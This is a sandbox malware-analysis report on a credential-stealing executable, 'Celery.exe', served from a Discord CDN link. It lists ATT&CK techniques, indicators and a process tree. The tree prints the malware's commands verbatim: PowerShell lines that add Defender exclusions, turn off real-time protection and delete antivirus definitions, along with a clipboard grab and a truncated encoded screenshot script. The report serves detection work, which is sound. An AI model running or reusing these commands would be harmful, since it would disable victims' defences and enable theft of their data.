hxxps://cdn[.]discordapp[.]com/attachments/1291122311944212584/1291125925122936832/Celery[.]exe?ex=66fef638&is=66fda4b8&hm=bc6181e340bf64bc35ec4306215cc999f6ce15ae25e7f2a5bf490c2d22354a53&

Analysis

max time kernel
290s
max time network
293s
platform
windows10-1703_x64
resource
win10-20240404-en
resource tags

arch:x64arch:x86image:win10-20240404-enlocale:en-usos:windows10-1703-x64system
submitted
02-10-2024 19:55

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

https://cdn.discordapp.com/attachments/1291122311944212584/1291125925122936832/Celery.exe?ex=66fef638&is=66fda4b8&hm=bc6181e340bf64bc35ec4306215cc999f6ce15ae25e7f2a5bf490c2d22354a53&

Score

10^/10

collection credential_access defense_evasion discovery evasion execution spyware stealer upx

Malware Config

Signatures

Deletes Windows Defender Definitions 2 TTPs 1 IoCs

Uses mpcmdrun utility to delete all AV definitions.

evasion

Impair Defenses

T1562

Command and Scripting Interpreter

T1059

pid	Process
5996	MpCmdRun.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
4204	powershell.exe
356	powershell.exe
5880	powershell.exe
4320	powershell.exe

Downloads MZ/PE file

Clipboard Data 1 TTPs 2 IoCs

Adversaries may collect data stored in the clipboard from users copying information within or between applications.

collection

Clipboard Data

T1115

pid	Process
6088	powershell.exe
5712	cmd.exe

Executes dropped EXE 3 IoCs

pid	Process
4752	Celery.exe
3388	Celery.exe
4472	rar.exe

Loads dropped DLL 16 IoCs

pid	Process
3388	Celery.exe
3388	Celery.exe
3388	Celery.exe
3388	Celery.exe
3388	Celery.exe
3388	Celery.exe
3388	Celery.exe
3388	Celery.exe
3388	Celery.exe
3388	Celery.exe
3388	Celery.exe
3388	Celery.exe
3388	Celery.exe
3388	Celery.exe
3388	Celery.exe
3388	Celery.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
credential_access stealer

Credentials In Files
T1552.001
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
40	discord.com
41	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
38	ip-api.com

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010

Enumerates processes with tasklist 1 TTPs 2 IoCs

discovery

Process Discovery

T1057

pid	Process
5312	tasklist.exe
6100	tasklist.exe

UPX packed file 53 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/0x000700000001ac69-166.dat	upx
behavioral1/memory/3388-168-0x00007FFC94CF0000-0x00007FFC953B5000-memory.dmp	upx
behavioral1/files/0x000700000001ac67-172.dat	upx
behavioral1/files/0x000c00000001ac61-192.dat	upx
behavioral1/files/0x000900000001ac5b-191.dat	upx
behavioral1/files/0x000900000001ac5a-190.dat	upx
behavioral1/files/0x000900000001ac58-189.dat	upx
behavioral1/memory/3388-188-0x00007FFCA5120000-0x00007FFCA512F000-memory.dmp	upx
behavioral1/files/0x000900000001ac57-187.dat	upx
behavioral1/files/0x000900000001ac56-186.dat	upx
behavioral1/files/0x000900000001ac55-185.dat	upx
behavioral1/files/0x000800000001ac53-184.dat	upx
behavioral1/files/0x000700000001ac6e-182.dat	upx
behavioral1/files/0x000700000001ac6d-181.dat	upx
behavioral1/files/0x000700000001ac6c-180.dat	upx
behavioral1/memory/3388-198-0x00007FFCA48A0000-0x00007FFCA48CD000-memory.dmp	upx
behavioral1/memory/3388-202-0x00007FFCA3CB0000-0x00007FFCA3CD4000-memory.dmp	upx
behavioral1/memory/3388-204-0x00007FFC94B70000-0x00007FFC94CEE000-memory.dmp	upx
behavioral1/memory/3388-208-0x00007FFCA46E0000-0x00007FFCA46ED000-memory.dmp	upx
behavioral1/files/0x000700000001ac68-211.dat	upx
behavioral1/memory/3388-210-0x00007FFC94B30000-0x00007FFC94B63000-memory.dmp	upx
behavioral1/files/0x000700000001ac66-215.dat	upx
behavioral1/memory/3388-217-0x00007FFC94530000-0x00007FFC94A59000-memory.dmp	upx
behavioral1/memory/3388-220-0x00007FFC94510000-0x00007FFC94524000-memory.dmp	upx
behavioral1/memory/3388-224-0x00007FFCA3CB0000-0x00007FFCA3CD4000-memory.dmp	upx
behavioral1/memory/3388-225-0x00007FFC94390000-0x00007FFC944AB000-memory.dmp	upx
behavioral1/memory/3388-222-0x00007FFCA4370000-0x00007FFCA437D000-memory.dmp	upx
behavioral1/memory/3388-216-0x00007FFCA4B70000-0x00007FFCA4B95000-memory.dmp	upx
behavioral1/memory/3388-366-0x00007FFC94B70000-0x00007FFC94CEE000-memory.dmp	upx
behavioral1/memory/3388-213-0x00007FFC94A60000-0x00007FFC94B2D000-memory.dmp	upx
behavioral1/memory/3388-212-0x00007FFC94CF0000-0x00007FFC953B5000-memory.dmp	upx
behavioral1/memory/3388-206-0x00007FFCA1C50000-0x00007FFCA1C69000-memory.dmp	upx
behavioral1/memory/3388-200-0x00007FFCA4380000-0x00007FFCA439A000-memory.dmp	upx
behavioral1/memory/3388-173-0x00007FFCA4B70000-0x00007FFCA4B95000-memory.dmp	upx
behavioral1/files/0x000800000001ac54-171.dat	upx
behavioral1/memory/3388-551-0x00007FFC94B30000-0x00007FFC94B63000-memory.dmp	upx
behavioral1/memory/3388-568-0x00007FFC94A60000-0x00007FFC94B2D000-memory.dmp	upx
behavioral1/memory/3388-592-0x00007FFC94530000-0x00007FFC94A59000-memory.dmp	upx
behavioral1/memory/3388-617-0x00007FFC94CF0000-0x00007FFC953B5000-memory.dmp	upx
behavioral1/memory/3388-631-0x00007FFC94390000-0x00007FFC944AB000-memory.dmp	upx
behavioral1/memory/3388-630-0x00007FFCA4370000-0x00007FFCA437D000-memory.dmp	upx
behavioral1/memory/3388-629-0x00007FFC94510000-0x00007FFC94524000-memory.dmp	upx
behavioral1/memory/3388-628-0x00007FFC94530000-0x00007FFC94A59000-memory.dmp	upx
behavioral1/memory/3388-627-0x00007FFC94A60000-0x00007FFC94B2D000-memory.dmp	upx
behavioral1/memory/3388-626-0x00007FFC94B30000-0x00007FFC94B63000-memory.dmp	upx
behavioral1/memory/3388-625-0x00007FFCA46E0000-0x00007FFCA46ED000-memory.dmp	upx
behavioral1/memory/3388-624-0x00007FFCA1C50000-0x00007FFCA1C69000-memory.dmp	upx
behavioral1/memory/3388-623-0x00007FFC94B70000-0x00007FFC94CEE000-memory.dmp	upx
behavioral1/memory/3388-622-0x00007FFCA3CB0000-0x00007FFCA3CD4000-memory.dmp	upx
behavioral1/memory/3388-621-0x00007FFCA4380000-0x00007FFCA439A000-memory.dmp	upx
behavioral1/memory/3388-620-0x00007FFCA48A0000-0x00007FFCA48CD000-memory.dmp	upx
behavioral1/memory/3388-619-0x00007FFCA5120000-0x00007FFCA512F000-memory.dmp	upx
behavioral1/memory/3388-618-0x00007FFCA4B70000-0x00007FFCA4B95000-memory.dmp	upx

Subvert Trust Controls: Mark-of-the-Web Bypass 1 TTPs 1 IoCs

When files are downloaded from the Internet, they are tagged with a hidden NTFS Alternate Data Stream (ADS) named Zone.Identifier with a specific value known as the MOTW.

defense_evasion

SIP and Trust Provider Hijacking

T1553.003

description	ioc	Process
File created	C:\Users\Admin\Downloads\Celery.exe:Zone.Identifier	firefox.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 8 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Signature	firefox.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
5484	WMIC.exe

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
2492	systeminfo.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3968772205-1713802336-1776639840-1000_Classes\Local Settings	firefox.exe

NTFS ADS 1 IoCs

description	ioc	Process
File created	C:\Users\Admin\Downloads\Celery.exe:Zone.Identifier	firefox.exe

Suspicious behavior: EnumeratesProcesses 28 IoCs

pid	Process
4204	powershell.exe
4204	powershell.exe
356	powershell.exe
356	powershell.exe
356	powershell.exe
4204	powershell.exe
356	powershell.exe
4204	powershell.exe
6088	powershell.exe
6088	powershell.exe
6088	powershell.exe
508	powershell.exe
508	powershell.exe
508	powershell.exe
6088	powershell.exe
508	powershell.exe
5880	powershell.exe
5880	powershell.exe
5880	powershell.exe
4352	powershell.exe
4352	powershell.exe
4352	powershell.exe
4320	powershell.exe
4320	powershell.exe
4320	powershell.exe
5156	powershell.exe
5156	powershell.exe
5156	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	96	firefox.exe
Token: SeDebugPrivilege	96	firefox.exe
Token: SeDebugPrivilege	4204	powershell.exe
Token: SeDebugPrivilege	356	powershell.exe
Token: SeDebugPrivilege	5312	tasklist.exe
Token: SeIncreaseQuotaPrivilege	4204	powershell.exe
Token: SeSecurityPrivilege	4204	powershell.exe
Token: SeTakeOwnershipPrivilege	4204	powershell.exe
Token: SeLoadDriverPrivilege	4204	powershell.exe
Token: SeSystemProfilePrivilege	4204	powershell.exe
Token: SeSystemtimePrivilege	4204	powershell.exe
Token: SeProfSingleProcessPrivilege	4204	powershell.exe
Token: SeIncBasePriorityPrivilege	4204	powershell.exe
Token: SeCreatePagefilePrivilege	4204	powershell.exe
Token: SeBackupPrivilege	4204	powershell.exe
Token: SeRestorePrivilege	4204	powershell.exe
Token: SeShutdownPrivilege	4204	powershell.exe
Token: SeDebugPrivilege	4204	powershell.exe
Token: SeSystemEnvironmentPrivilege	4204	powershell.exe
Token: SeRemoteShutdownPrivilege	4204	powershell.exe
Token: SeUndockPrivilege	4204	powershell.exe
Token: SeManageVolumePrivilege	4204	powershell.exe
Token: SeImpersonatePrivilege	4204	powershell.exe
Token: 33	4204	powershell.exe
Token: 34	4204	powershell.exe
Token: 35	4204	powershell.exe
Token: 36	4204	powershell.exe
Token: SeIncreaseQuotaPrivilege	5980	WMIC.exe
Token: SeSecurityPrivilege	5980	WMIC.exe
Token: SeTakeOwnershipPrivilege	5980	WMIC.exe
Token: SeLoadDriverPrivilege	5980	WMIC.exe
Token: SeSystemProfilePrivilege	5980	WMIC.exe
Token: SeSystemtimePrivilege	5980	WMIC.exe
Token: SeProfSingleProcessPrivilege	5980	WMIC.exe
Token: SeIncBasePriorityPrivilege	5980	WMIC.exe
Token: SeCreatePagefilePrivilege	5980	WMIC.exe
Token: SeBackupPrivilege	5980	WMIC.exe
Token: SeRestorePrivilege	5980	WMIC.exe
Token: SeShutdownPrivilege	5980	WMIC.exe
Token: SeDebugPrivilege	5980	WMIC.exe
Token: SeSystemEnvironmentPrivilege	5980	WMIC.exe
Token: SeRemoteShutdownPrivilege	5980	WMIC.exe
Token: SeUndockPrivilege	5980	WMIC.exe
Token: SeManageVolumePrivilege	5980	WMIC.exe
Token: SeImpersonatePrivilege	5980	WMIC.exe
Token: 33	5980	WMIC.exe
Token: 34	5980	WMIC.exe
Token: 35	5980	WMIC.exe
Token: 36	5980	WMIC.exe
Token: SeDebugPrivilege	6088	powershell.exe
Token: SeDebugPrivilege	6100	tasklist.exe
Token: SeIncreaseQuotaPrivilege	5980	WMIC.exe
Token: SeSecurityPrivilege	5980	WMIC.exe
Token: SeTakeOwnershipPrivilege	5980	WMIC.exe
Token: SeLoadDriverPrivilege	5980	WMIC.exe
Token: SeSystemProfilePrivilege	5980	WMIC.exe
Token: SeSystemtimePrivilege	5980	WMIC.exe
Token: SeProfSingleProcessPrivilege	5980	WMIC.exe
Token: SeIncBasePriorityPrivilege	5980	WMIC.exe
Token: SeCreatePagefilePrivilege	5980	WMIC.exe
Token: SeBackupPrivilege	5980	WMIC.exe
Token: SeRestorePrivilege	5980	WMIC.exe
Token: SeShutdownPrivilege	5980	WMIC.exe
Token: SeDebugPrivilege	5980	WMIC.exe

Suspicious use of FindShellTrayWindow 4 IoCs

pid	Process
96	firefox.exe
96	firefox.exe
96	firefox.exe
96	firefox.exe

Suspicious use of SendNotifyMessage 3 IoCs

pid	Process
96	firefox.exe
96	firefox.exe
96	firefox.exe

Suspicious use of SetWindowsHookEx 4 IoCs

pid	Process
96	firefox.exe
96	firefox.exe
96	firefox.exe
96	firefox.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3692 wrote to memory of 96	3692	firefox.exe	74
PID 3692 wrote to memory of 96	3692	firefox.exe	74
PID 3692 wrote to memory of 96	3692	firefox.exe	74
PID 3692 wrote to memory of 96	3692	firefox.exe	74
PID 3692 wrote to memory of 96	3692	firefox.exe	74
PID 3692 wrote to memory of 96	3692	firefox.exe	74
PID 3692 wrote to memory of 96	3692	firefox.exe	74
PID 3692 wrote to memory of 96	3692	firefox.exe	74
PID 3692 wrote to memory of 96	3692	firefox.exe	74
PID 3692 wrote to memory of 96	3692	firefox.exe	74
PID 3692 wrote to memory of 96	3692	firefox.exe	74
PID 96 wrote to memory of 4444	96	firefox.exe	75
PID 96 wrote to memory of 4444	96	firefox.exe	75
PID 96 wrote to memory of 316	96	firefox.exe	76
PID 96 wrote to memory of 316	96	firefox.exe	76
PID 96 wrote to memory of 316	96	firefox.exe	76
PID 96 wrote to memory of 316	96	firefox.exe	76
PID 96 wrote to memory of 316	96	firefox.exe	76
PID 96 wrote to memory of 316	96	firefox.exe	76
PID 96 wrote to memory of 316	96	firefox.exe	76
PID 96 wrote to memory of 316	96	firefox.exe	76
PID 96 wrote to memory of 316	96	firefox.exe	76
PID 96 wrote to memory of 316	96	firefox.exe	76
PID 96 wrote to memory of 316	96	firefox.exe	76
PID 96 wrote to memory of 316	96	firefox.exe	76
PID 96 wrote to memory of 316	96	firefox.exe	76
PID 96 wrote to memory of 316	96	firefox.exe	76
PID 96 wrote to memory of 316	96	firefox.exe	76
PID 96 wrote to memory of 316	96	firefox.exe	76
PID 96 wrote to memory of 316	96	firefox.exe	76
PID 96 wrote to memory of 316	96	firefox.exe	76
PID 96 wrote to memory of 316	96	firefox.exe	76
PID 96 wrote to memory of 316	96	firefox.exe	76
PID 96 wrote to memory of 316	96	firefox.exe	76
PID 96 wrote to memory of 316	96	firefox.exe	76
PID 96 wrote to memory of 316	96	firefox.exe	76
PID 96 wrote to memory of 316	96	firefox.exe	76
PID 96 wrote to memory of 316	96	firefox.exe	76
PID 96 wrote to memory of 316	96	firefox.exe	76
PID 96 wrote to memory of 316	96	firefox.exe	76
PID 96 wrote to memory of 316	96	firefox.exe	76
PID 96 wrote to memory of 316	96	firefox.exe	76
PID 96 wrote to memory of 316	96	firefox.exe	76
PID 96 wrote to memory of 316	96	firefox.exe	76
PID 96 wrote to memory of 316	96	firefox.exe	76
PID 96 wrote to memory of 316	96	firefox.exe	76
PID 96 wrote to memory of 316	96	firefox.exe	76
PID 96 wrote to memory of 316	96	firefox.exe	76
PID 96 wrote to memory of 316	96	firefox.exe	76
PID 96 wrote to memory of 316	96	firefox.exe	76
PID 96 wrote to memory of 316	96	firefox.exe	76
PID 96 wrote to memory of 316	96	firefox.exe	76
PID 96 wrote to memory of 316	96	firefox.exe	76
PID 96 wrote to memory of 316	96	firefox.exe	76
PID 96 wrote to memory of 316	96	firefox.exe	76
PID 96 wrote to memory of 316	96	firefox.exe	76
PID 96 wrote to memory of 316	96	firefox.exe	76
PID 96 wrote to memory of 316	96	firefox.exe	76
PID 96 wrote to memory of 316	96	firefox.exe	76
PID 96 wrote to memory of 316	96	firefox.exe	76
PID 96 wrote to memory of 316	96	firefox.exe	76
PID 96 wrote to memory of 2420	96	firefox.exe	77
PID 96 wrote to memory of 2420	96	firefox.exe	77
PID 96 wrote to memory of 2420	96	firefox.exe	77

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe" -osint -url "https://cdn.discordapp.com/attachments/1291122311944212584/1291125925122936832/Celery.exe?ex=66fef638&is=66fda4b8&hm=bc6181e340bf64bc35ec4306215cc999f6ce15ae25e7f2a5bf490c2d22354a53&"
1⤵
- Suspicious use of WriteProcessMemory
PID:3692
- C:\Program Files\Mozilla Firefox\firefox.exe
  "C:\Program Files\Mozilla Firefox\firefox.exe" -osint -url https://cdn.discordapp.com/attachments/1291122311944212584/1291125925122936832/Celery.exe?ex=66fef638&is=66fda4b8&hm=bc6181e340bf64bc35ec4306215cc999f6ce15ae25e7f2a5bf490c2d22354a53&
  2⤵
  - Subvert Trust Controls: Mark-of-the-Web Bypass
  - Checks processor information in registry
  - Modifies registry class
  - NTFS ADS
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:96
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="96.0.475531970\1318265269" -parentBuildID 20221007134813 -prefsHandle 1700 -prefMapHandle 1668 -prefsLen 20747 -prefMapSize 233444 -appDir "C:\Program Files\Mozilla Firefox\browser" - {3d1847dd-8ac3-4391-afa0-99dba6f736c0} 96 "\\.\pipe\gecko-crash-server-pipe.96" 1776 202c85d7058 gpu
    3⤵
    PID:4444
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="96.1.1829976796\351207329" -parentBuildID 20221007134813 -prefsHandle 2140 -prefMapHandle 2136 -prefsLen 21608 -prefMapSize 233444 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {3b6d2d34-a87d-4c3d-9eb8-50a3993e61fc} 96 "\\.\pipe\gecko-crash-server-pipe.96" 2152 202c8503558 socket
    3⤵
    - Checks processor information in registry
    PID:316
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="96.2.823521189\173135628" -childID 1 -isForBrowser -prefsHandle 2836 -prefMapHandle 2748 -prefsLen 21646 -prefMapSize 233444 -jsInitHandle 1256 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {5e97b290-e92a-4e85-8cc8-afb19239d2ed} 96 "\\.\pipe\gecko-crash-server-pipe.96" 2824 202c8562458 tab
    3⤵
    PID:2420
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="96.3.2130769801\1359592854" -childID 2 -isForBrowser -prefsHandle 3360 -prefMapHandle 2892 -prefsLen 26109 -prefMapSize 233444 -jsInitHandle 1256 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {736a96f6-c038-4b02-8e1f-0d2d9c008d6a} 96 "\\.\pipe\gecko-crash-server-pipe.96" 3500 202b6268558 tab
    3⤵
    PID:4404
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="96.4.409456969\316481957" -childID 3 -isForBrowser -prefsHandle 3376 -prefMapHandle 4696 -prefsLen 26168 -prefMapSize 233444 -jsInitHandle 1256 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {109801a1-d539-4d5e-9480-e8d9afcaea40} 96 "\\.\pipe\gecko-crash-server-pipe.96" 4336 202cec64e58 tab
    3⤵
    PID:368
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="96.5.604795920\685147841" -childID 4 -isForBrowser -prefsHandle 4864 -prefMapHandle 4868 -prefsLen 26168 -prefMapSize 233444 -jsInitHandle 1256 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {36f06b1b-8b5d-44a0-b0f5-d3dbe7d0f94e} 96 "\\.\pipe\gecko-crash-server-pipe.96" 4856 202cec65a58 tab
    3⤵
    PID:1856
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="96.6.825089027\1865163225" -childID 5 -isForBrowser -prefsHandle 5056 -prefMapHandle 5060 -prefsLen 26168 -prefMapSize 233444 -jsInitHandle 1256 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {b6e04743-0246-4a4e-ba00-3e914d2b2256} 96 "\\.\pipe\gecko-crash-server-pipe.96" 4336 202cec67e58 tab
    3⤵
    PID:436
- - C:\Users\Admin\Downloads\Celery.exe
    "C:\Users\Admin\Downloads\Celery.exe"
    3⤵
    - Executes dropped EXE
    PID:4752
  - - C:\Users\Admin\Downloads\Celery.exe
      "C:\Users\Admin\Downloads\Celery.exe"
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:3388
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\Downloads\Celery.exe'"
        5⤵
        
        PID:4244
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\Downloads\Celery.exe'
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4204
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
        5⤵
        
        PID:1820
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:356
      - C:\Program Files\Windows Defender\MpCmdRun.exe
        
        "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
        6⤵
        Deletes Windows Defender Definitions
        
        PID:5996
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
        5⤵
        
        PID:404
      - C:\Windows\system32\tasklist.exe
        
        tasklist /FO LIST
        6⤵
        Enumerates processes with tasklist
        Suspicious use of AdjustPrivilegeToken
        
        PID:5312
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
        5⤵
        
        PID:5672
      - C:\Windows\System32\Wbem\WMIC.exe
        
        WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
        6⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:5980
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
        5⤵
        Clipboard Data
        
        PID:5712
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-Clipboard
        6⤵
        Clipboard Data
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:6088
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
        5⤵
        
        PID:5764
      - C:\Windows\system32\tasklist.exe
        
        tasklist /FO LIST
        6⤵
        Enumerates processes with tasklist
        Suspicious use of AdjustPrivilegeToken
        
        PID:6100
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tree /A /F"
        5⤵
        
        PID:5804
      - C:\Windows\system32\tree.com
        
        tree /A /F
        6⤵
        
        PID:3892
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "systeminfo"
        5⤵
        
        PID:5852
      - C:\Windows\system32\systeminfo.exe
        
        systeminfo
        6⤵
        Gathers system information
        
        PID:2492
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIA